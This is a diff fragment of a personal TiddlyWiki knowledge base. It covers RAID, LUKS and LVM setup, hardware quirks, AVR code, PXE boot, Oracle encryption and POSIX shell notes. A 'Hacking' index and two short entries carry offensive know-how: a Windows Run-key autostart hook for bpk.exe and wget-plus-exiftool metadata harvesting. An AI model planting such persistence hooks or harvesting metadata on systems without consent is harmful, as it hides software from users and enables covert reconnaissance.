- &lt;/ul&gt;
-
- &lt;/td&gt;
- &lt;/tr&gt;
-
- &lt;/tbody&gt;&lt;/table&gt;
-&lt;/html&gt;</pre>
-</div>
-<div title="FreeBSD" modifier="makefu" created="201305161301" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305161301">
-<pre>! FreeNas Package Installation
-{{{
-mount -o rw /
-pkg_add tinc
-mount -o ro /
-}}}</pre>
-</div>
-<div title="Fun" modifier="Felix" created="201103291128" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103291128">
-<pre>[[Buzzwords]]</pre>
-</div>
-<div title="GettingStarted" modifier="Felix" created="201101310117" modified="201102011312" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102011312">
-<pre>To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
-* [[SiteTitle]] &amp; [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
-* [[MainMenu]]: The menu (usually on the left)
-* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
-You'll also need to enter your username for signing your edits: &lt;&lt;option txtUserName&gt;&gt;</pre>
-</div>
-<div title="HDD encryption" modifier="makefu" created="201103260351" modified="201310012248" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301750" changecount="12">
-<pre>Also see [[Software Raid]]
-! Softraid + Crypto + LVM
-!! Level 1: Softraid
-{{{
-sudo mdadm --create /dev/md0 --level=5 --raid-devices=2 /dev/sdd1 /dev/sdb
-cat /proc/mdstat
-mdadm --misc --detail /dev/md0
-# make it faster on retard pcs
-echo 8192 &gt; /sys/block/md*/md/stripe_cache_size
-}}}
-!! Level 2: (wait and then) Crypto
-{{{
-# aes-cbc-essiv:sha256 is old
-cryptsetup -c aes-xts-plain64 -s 256 luksFormat /dev/md0
-cryptsetup luksOpen /dev/md0 array1
-}}}
-!! Level 3: LVM
-{{{
-pvcreate /dev/mapper/array1
-vgcreate -v cryptvg /dev/mapper/array1
-lvcreate -l 100%FREE -n files1 cryptvg
-}}}
-!! Level 4: Format
-{{{
-mkfs.ext4 /dev/cryptvg/files1
-}}}
-!! Level 5: INITRD
-!!! Archlinux
-{{{
-# in /etc/mkinitcpio.conf
-MODULES=&quot;dm_mod&quot; # for root on softraid
-HOOKS=&quot;... udev mdadm_udev encrypt lvm2 filesystems ... &quot;
-# in /etc/default/grub
-GRUB_CMDLINE_LINUX_DEFAULT=&quot;cryptsetup=/dev/md127:array1 quiet&quot;
-}}}
-!! extend Raid
-{{{
-mdadm --add /dev/md0 /dev/sdx1
-mdadm --grow -n 3 /dev/md0grub
-
-cat /proc/mdstat
-mdadm --misc --detail /dev/md0
-
-pvresize /dev/mapper/array1
-cryptsetup resize array1
-lvresize -l +100%FREE /dev/vg/files1
-e2fsck -f /dev/vg/files1
-resize2fs /dev/vg/files1
-}}}
-see also [[[Western Digitial Green]]] for information about special formating
-
-! array wont assemble anymore
-!! Find the problem
-{{{
-cat /proc/mdstat
-mdadm -D --scan
-mdadm -E --scan
-mdadm -E /dev/sd[abce]1
-}}}
-!! Assemble manually
-{{{
-mdadm --stop /dev/md{0,127}
-mdadm --assemble /dev/md0 /dev/sda1 /dev/sdb1 /dev/sdc1 /dev/sde1 --force
-# /dev/sde1 fails to join the array
-}}}
-!! Add the broken device again
-{{{
-mdadm /dev/md0 --remove /dev/sde1
-mdadm /dev/md0 --re-add /dev/sde1
-#when this fails
- mdadm --zero-superblock /dev/sde1 #reap the device
- mdadm /dev/md0 --add /dev/sde1
-
-echo 2000000 | sudo tee /proc/sys/dev/raid/speed_limit_min
-echo 10000000 | sudo tee /proc/sys/dev/raid/speed_limit_max
-sleep 40000
-echo &quot;FINISHED!&quot;
-}}}
-! reaped the lvm
-{{{
-lvremote vg # killed the volumegroup, nice one
-... #
-vgcfgrestore -f /etc/lvm/archive/vg_00018-2146062166.vg -v vg #lvm is awesome and saves backups
-}}}</pre>
-</div>
-<div title="HL2030" modifier="Felix" created="201102132228" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102132228">
-<pre>Install
-{{{pacman -S cups foomatic-{db,db-engine,filters}}}}
-goto
-{{{localhost:631/}}} and add HL2030 printer</pre>
-</div>
-<div title="Hacking" modifier="makefu" created="201102181551" modified="201201111542" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201201111542">
-<pre>!biohacking
-[[habanero]]
-
-!Information Gathering
-[[Metadata]]
-[[wmic]]
-!Stealth
-[[Using on-board Resources]]
-!Wifi
-[[aircrack suite]]</pre>
-</div>
-<div title="Hardening" modifier="Felix" created="201101311544" modified="201101311544" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311544">
-<pre>---</pre>
-</div>
-<div title="Hardware" modifier="makefu" created="201101311616" modified="201305100115" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305100115">
-<pre>! Quirks
-[[Acer1810tz]]
-[[Lenovo T400]]
-[[Buffalo LinkStation LS-WVL]]
-!Internal
-[[Intel SSD]]
-[[Western Digitial Green]]
-!Embedded
-[[Dev Boards]]
-[[mk808]]
-!Peripheral
-[[Canmore GT-730FL-S GPS-Datalogger]]
-[[Bluetooth Headset]]
-[[RT2870 WiFi]]
-[[ReinerSCT]]
-[[HL2030]]
-[[UMTS Stick]]
-[[Logitech G15]]
-[[Silicon Images SATA Controller]]
-!Consoles
-[[Playstation2]]</pre>
-</div>
-<div title="Index" modifier="makefu" created="201301042225" modified="201306260812" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201306260812">
-<pre>! euer.krebsco.de
-Welcome to my new `Blog`.
-Feel free to browse around.
-You might find something you find interesting, or not. Latest changes are in the timeline.
-! Reach me
-Twitter: @makefoo
-IRC: irc.freenode.com #krebs</pre>
-</div>
-<div title="Intel SSD" modifier="Felix" created="201101311621" modified="201101311622" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311622">
-<pre>watch out for alignment:
-{{{
-fdisk -H 32 -S 32 -u /dev/sdx
-mkfs.ext4 -b 4096 -E stride=32,stripe-width=32 /dev/sdx1
-}}}
-in fstab:
-noatime</pre>
-</div>
-<div title="Lenovo T400" modifier="Felix" created="201107221548" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107221548">
-<pre>! Track Point Speed
-{{{
-# in /etc/rc.local
-echo -n 250 &gt; /sys/devices/platform/i8042/serio1/serio2/sensitivity
-echo -n 250 &gt; /sys/devices/platform/i8042/serio1/serio2/speed
-}}}</pre>
-</div>
-<div title="Logitech G15" modifier="Felix" created="201104122304" modified="201104122320" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104122320">
-<pre>!Tools
-!!G15daemon
-Basics, something is working (clock)
-!! G15composer
-Startup:
-{{{
-g15composer /tmp/g15pipe
-}}}
-Useful Commands:
-{{{
-echo 'TL &quot;Hello&quot; &quot;World&quot;' &gt; /tmp/g15pipe #first line &quot;hello&quot;, second line &quot;world
-echo 'MP 0' &gt; /tmp/g15pip # to foreground
-}}}
-! G-Keys
-{{{
-G1 - XF86AudioRecord
-G2 - XF86AudioRewind
-G3 - XF86Phone
-G4 - Keycode 178
-G5 - XF86Tools
-G6 - XF86HomePage
-[ ] - XF86AudioStop
-|&lt;&lt; - XF86AudioPrev
-&gt;&gt;| - XF86AudioNext
-&gt;|| - XF86AudioStop
-Mute - XF86AudioMute
-M1 - XF86Launch6
-M2 - XF86Launch7
-M3 - XF86Launch8
-MR - XF86Launch9
-}}}
-! Insert into local {{{~/.Xmodmap}}}
-From {{{man g15daemon}}}
-{{{
- keycode 93 = XF86Launch1
- keycode 129 = XF86Launch8
- keycode 130 = XF86Launch9
- keycode 131 = XF86Launch2
- keycode 132 = XF86Phone
- keycode 133 = XF86Messenger
- keycode 136 = XF86LaunchD
- keycode 137 = XF86Support
- keycode 138 = XF86Word
- keycode 143 = XF86LaunchF
- keycode 144 = XF86AudioPrev
- keycode 150 = XF86LogOff
- keycode 152 = XF86Launch5
- keycode 153 = XF86AudioNext
- keycode 160 = XF86AudioMute
- keycode 161 = XF86Travel
- keycode 162 = XF86AudioPlay
- keycode 163 = XF86Spell
- keycode 164 = XF86AudioStop
- keycode 170 = XF86VendorHome
- keycode 174 = XF86AudioLowerVolume
- keycode 176 = XF86AudioRaiseVolume
- keycode 177 = XF86Launch4
- keycode 178 = XF86HomePage
- keycode 182 = XF86Away
- keycode 183 = XF86WebCam
- keycode 184 = XF86Launch0
- keycode 188 = XF86Music
- keycode 190 = XF86Launch6
- keycode 194 = XF86Forward
- keycode 195 = XF86Send
- keycode 205 = XF86Calendar
- keycode 208 = XF86Launch7
- keycode 209 = XF86LaunchB
- keycode 210 = XF86LaunchC
- keycode 215 = XF86Save
- keycode 219 = XF86WWW
- keycode 220 = XF86LaunchE
- keycode 223 = XF86Sleep
- keycode 228 = XF86Pictures
- keycode 231 = XF86LaunchA
- keycode 236 = XF86Mail
- keycode 237 = XF86AudioMedia
- keycode 246 = XF86iTouch
- keycode 247 = XF86Launch3
- keycode 249 = XF86ToDoList
- keycode 251 = XF86Calculater
-}}}</pre>
-</div>
-<div title="MS Windows" modifier="makefu" created="201303110056" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201303110056">
-<pre>! Hook Autostart
-{{{
-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run bpk = &lt; %windir%\System32\bpk.exe&gt;
-}}}</pre>
-</div>
-<div title="MainMenu" modifier="makefu" created="201101310137" modified="201311071412" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105171232" changecount="2">
-<pre>[[GettingStarted]]
-[[Security]]
-[[Hardware]]
-[[Programming]]
-[[Hacking]]
-! Misc
-[[TODO]]
-[[Fun]]
-[[RSS of this Blog|/wiki/knowledge_base.xml]]
-</pre>
-</div>
-<div title="Makefile" creator="makefu" modifier="makefu" created="201312171341" modified="201312171342" tags="journal" changecount="5">
-<pre>! For Testing
-!! Async test all executables in t/ according to TAP
-{{{
-usage:;cat Makefile
-test:
- @export PATH=&quot;$(CURDIR)/bin:$(PATH)&quot;; \
- tests=&quot;`find t -type f -executable`&quot;; \
- i=1; \
- pids=&quot;&quot;;\
- n=`echo &quot;$$tests&quot; | wc -l`; \
- echo $$i..$$n; \
- for exe in $$tests; do \
- { \
- ./$$exe; \
- ret=$$?; \
- case $$ret in 0) result=ok;; *) result='not ok';; esac; \
- echo $$result $$i - $$exe; \
- exit $$ret;\
- } &amp; \
- pids=&quot;$${pids} $$!&quot; \
- i=$$(( i+1 )); \
- done; \
- ret=0;\
- for pid in $$pids; do \
- wait $$pid || ret=23;\
- done; \
- exit $$ret;
-}}}
-!! Sync test all executables in t/
-{{{
-usage:;cat Makefile
-test:
- @export PATH=&quot;$(CURDIR)/bin:$(PATH)&quot;; \
- tests=&quot;`find t -type f -executable`&quot;; \
- i=1; \
- n=`echo &quot;$$tests&quot; | wc -l`; \
- echo $$i..$$n; \
- ret=0;\
- for exe in $$tests; do \
- ./$$exe; \
- thisret=$$?; \
- case $$thisret in 0) result=ok;; *) result='not ok';ret=255;; esac; \
- echo $$result $$i - $$exe; \
- i=$$(( i+1 )); \
- done; \
- exit $$ret;
-}}}</pre>
-</div>
-<div title="Metadata" modifier="makefu" created="201201111521" modified="201312232031" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201201111521" changecount="1">
-<pre>!wget + exiftool
-{{{
-wget -r -l1 --no-parent -A.jpg http://example.com
-exiftool -r -h -a -u -gl * &gt;output.html
-}}}
-! Videos
-!! Methods
-{{{
-exiftool $file
-tovid id $file
-mplayer -vo null -ao null -identify -frames 0 $file
-
-}}}</pre>
-</div>
-<div title="Minimus AVR" modifier="makefu" created="201102042058" modified="201301151829" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201301151829">
-<pre>* add those tiny feet thingies
-* try some code directly via serial (send when switch is closed)
-
-!Direct compile with AVR-GCC
-!! Installation
-{{{
-yaourt -S avr-gcc avr-libc dfu-programmer
-}}}
-!! Source Code
-# port_test.c
-{{{
-#include &lt;avr/io.h&gt;
-
-int main(void) {
- DDRD = 0b01100000; /* LED Ports are in output mode */
- PORTD = 0b10000000; /* Enable pull-up on PD7 */
- while(1) {
- if(PIND &amp; (1&lt;&lt;PD7)) {
- PORTD |= 1&lt;&lt;PD6; /* Red off */
- PORTD &amp;= ~(1&lt;&lt;PD5); /* Blue on */
- } else {
- PORTD |= 1&lt;&lt;PD5; /* Blue off */
- PORTD &amp;= ~(1&lt;&lt;PD6); /* Red on */
- }
- }
- return 0;
-}
-}}}
-!! Makefile
-{{{
-CPU=at90usb162 # Target is a Minimus
-#CPU=atmega32u2 # Target is a Minimus 32
-CC=avr-gcc
-CFLAGS=-g -Os -Wall -mcall-prologues -mmcu=$(CPU)
-OBJ2HEX=avr-objcopy
-DFU=dfu-programmer
-TARGET=port_test
-
-upload : hex
- $(DFU) $(CPU) erase
- $(DFU) $(CPU) flash $(TARGET).hex
- $(DFU) $(CPU) start
-
-hex : $(TARGET).hex
-
-%.obj : %.o
- $(CC) $(CFLAGS) $&lt; -o $@
-
-%.hex : %.obj
- $(OBJ2HEX) -R .eeprom -O ihex $&lt; $@
-
-clean :
- rm -f *.hex *.obj *.o
-}}}
-!! Deploy
-{{{
-make hex
-make upload
-}}}
-
-!LUFA
-http://www.fourwalledcubicle.com/LUFA.php
-edit the &quot;makefile&quot;s before trying demos
-{{{
-MCU = at90usb162
-BOARD = MINIMUS
-CLOCK = 16000000
-}}}
-when it says &quot;no joystick bla&quot; , try to pull it out of the demos header and source.
-
-use other ports in order to make it working? </pre>
-</div>
-<div title="Network Boot" modifier="Felix" created="201103270001" modified="201103270010" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103270010">
-<pre>!Links
-https://help.ubuntu.com/community/PXEInstallServer
-https://wiki.koeln.ccc.de/index.php/Ubuntu_PXE_Install
-http://hotfortech.wikispaces.com/how+to+PXE+the+Ubuntu+9.10+liveCD+(fog-extension)
-https://help.ubuntu.com/community/PXEInstallMultiDistro
-https://wiki.archlinux.org/index.php/Archiso-as-pxe-server
-https://wiki.archlinux.org/index.php/Install_Arch_from_network_via_PXE
-!Preconditions
-{{{
-pacman -S tftp-hpa dhcp
-ifconfig eth0 10.42.0.1
-}}}
-! Dhcp Daemon
-/etc/dhcpd.conf
-{{{
-option domain-name-servers 8.8.8.8 , 8.8.4.4;
-default-lease-time 86400;
-max-lease-time 604800;
-authoritative;
-subnet 10.42.0.0 netmask 255.255.255.0 {
- range 10.42.0.10 10.42.0.149;
- filename &quot;pxelinux.0&quot;; # the PXELinux boot agent
- option subnet-mask 255.255.255.0;
- option broadcast-address 192.168.0.255;
- option routers 192.168.0.1;
-}
-}}}
-! TFTP-hpa Daemon
-{{{
-#
-# Parameters to be passed to TFTPD
-#
-RUN_DAEMON=&quot;yes&quot;
-TFTPD_ARGS=&quot;-l -s /var/tftpboot&quot;
-}}}
-! or just try DNSMASQ
-{{{
-dhcp-boot=pxelinux.0,roo,10.42.0.1
-}}}
-! in /var/tftpboot
-TODO</pre>
-</div>
-<div title="No.de" modifier="makefu" created="201106142021" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201106142021">
-<pre>Type the text for 'No.de'</pre>
-</div>
-<div title="OpenSSL" creator="makefu" modifier="makefu" created="201403310706" changecount="1">
-<pre>! generate a new certificate
-for example for unrealircd:
-{{{
-openssl req -new -x509 -keyout temp.key -out server.cert.pem -days 9001
-openssl rsa -in temp.key &gt; server.key.pem
-}}}</pre>
-</div>
-<div title="Oracle Database" modifier="makefu" created="201103291115" modified="201302151256" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201302151256">
-<pre>! Find Oracle Home
-should be, in most cases, right below {{{bin/sqlplus}}}
-! Find Oracle SID
-{{{
-lsnrctl services
-}}}
-{{{
-cat $ORACLE_HOME/network/admin/listener.ora
-}}}
-! Database encryption
-!! Create new Wallet
-in {{{sqlnet.ora}}}
-{{{
-ENCRYPTION_WALLET_LOCATION=
- (SOURCE=(METHOD=FILE)(METHOD_DATA=
- (DIRECTORY=/u01/app/oracle/admin/DB10G/encryption_wallet/)))
-}}}
-!! Set password
-Wallets must be reopened after an instance restart and can be closed to prevent access to encrypted columns.
-{{{
-ALTER SYSTEM SET ENCRYPTION KEY AUTHENTICATED BY &quot;myPassword&quot;;
-ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY &quot;myPassword&quot;;
-}}}
-!! Encrypt rows
-{{{
-CREATE TABLE tde_test (
- id NUMBER(10),
- data VARCHAR2(50) ENCRYPT
-)
-TABLESPACE tde_test;
-}}}
-!! Show Encrypted Rows
-{{{
-SET LINESIZE 100
-COLUMN owner FORMAT A15
-COLUMN tble_name FORMAT A15
-COLUMN column_name FORMAT A15
-
-SELECT * FROM dba_encrypted_columns;
-}}}</pre>
-</div>
-<div title="POSIX Shell" modifier="makefu" created="201107170041" modified="201308141118" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107170041" changecount="3">
-<pre>! Caveats
-{{{
-- use [ ^I] instead of \s in regex
-- do not use which, use type/command -v/hash
-- do not use arrays, use github.com/makefu/array instead
-}}}
-
-!Parameter Expansion
-http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html
-&lt;html&gt;
-&lt;table border=&quot;1&quot; cellpadding=&quot;3&quot; align=&quot;center&quot;&gt;
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;Set and Not Null&lt;/b&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;Set But Null&lt;/b&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;th align=&quot;center&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;Unset&lt;/b&gt;&lt;/p&gt;
-&lt;/th&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;:-&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;-&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute null&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;:=&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;assign &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;assign &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;=&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute null&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;assign &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;:?&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;error, exit&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;error, exit&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;?&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;parameter&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute null&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;error, exit&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;:+&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute null&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute null&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr valign=&quot;top&quot;&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;&lt;b&gt;${&lt;/b&gt;&lt;i&gt;parameter&lt;/i&gt;&lt;b&gt;+&lt;/b&gt;&lt;i&gt;word&lt;/i&gt;&lt;b&gt;}&lt;/b&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute &lt;i&gt;word&lt;/i&gt;&lt;/p&gt;
-&lt;/td&gt;
-&lt;td align=&quot;left&quot;&gt;
-&lt;p class=&quot;tent&quot;&gt;substitute null&lt;/p&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-&lt;/table&gt;
-&lt;dl compact&gt;
-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;:-&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-In this example, &lt;a href=&quot;../utilities/ls.html&quot;&gt;&lt;i&gt;ls&lt;/i&gt;&lt;/a&gt; is executed only if &lt;i&gt;x&lt;/i&gt; is null or unset. (The $( &lt;a href=
-&quot;../utilities/ls.html&quot;&gt;&lt;i&gt;ls&lt;/i&gt;&lt;/a&gt;) command substitution notation is explained in &lt;a href=&quot;#tag_02_06_03&quot;&gt;Command
-Substitution&lt;/a&gt;.)
-
-&lt;blockquote&gt;
-&lt;pre&gt;
-&lt;tt&gt;${x:-$(ls)}
-&lt;/tt&gt;
-&lt;/pre&gt;
-&lt;/blockquote&gt;
-&lt;/dd&gt;
-
-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;:=&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;unset X
-echo ${X:=abc}
-&lt;/tt&gt;&lt;b&gt;abc&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-
-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;:?&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;unset posix
-echo ${posix:?}
-&lt;/tt&gt;&lt;b&gt;sh: posix: parameter null or not set&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-
-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;:+&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;set a b c
-echo ${3:+posix}
-&lt;/tt&gt;&lt;b&gt;posix&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-
-&lt;dt&gt;${#&lt;i&gt;parameter&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;HOME=/usr/posix
-echo ${#HOME}
-&lt;/tt&gt;&lt;b&gt;10&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-
-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;%&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;x=file.c
-echo ${x%.c}.o
-&lt;/tt&gt;&lt;b&gt;file.o&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-
-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;%%&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;x=posix/src/std
-echo ${x%%/*}
-&lt;/tt&gt;&lt;b&gt;posix&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-
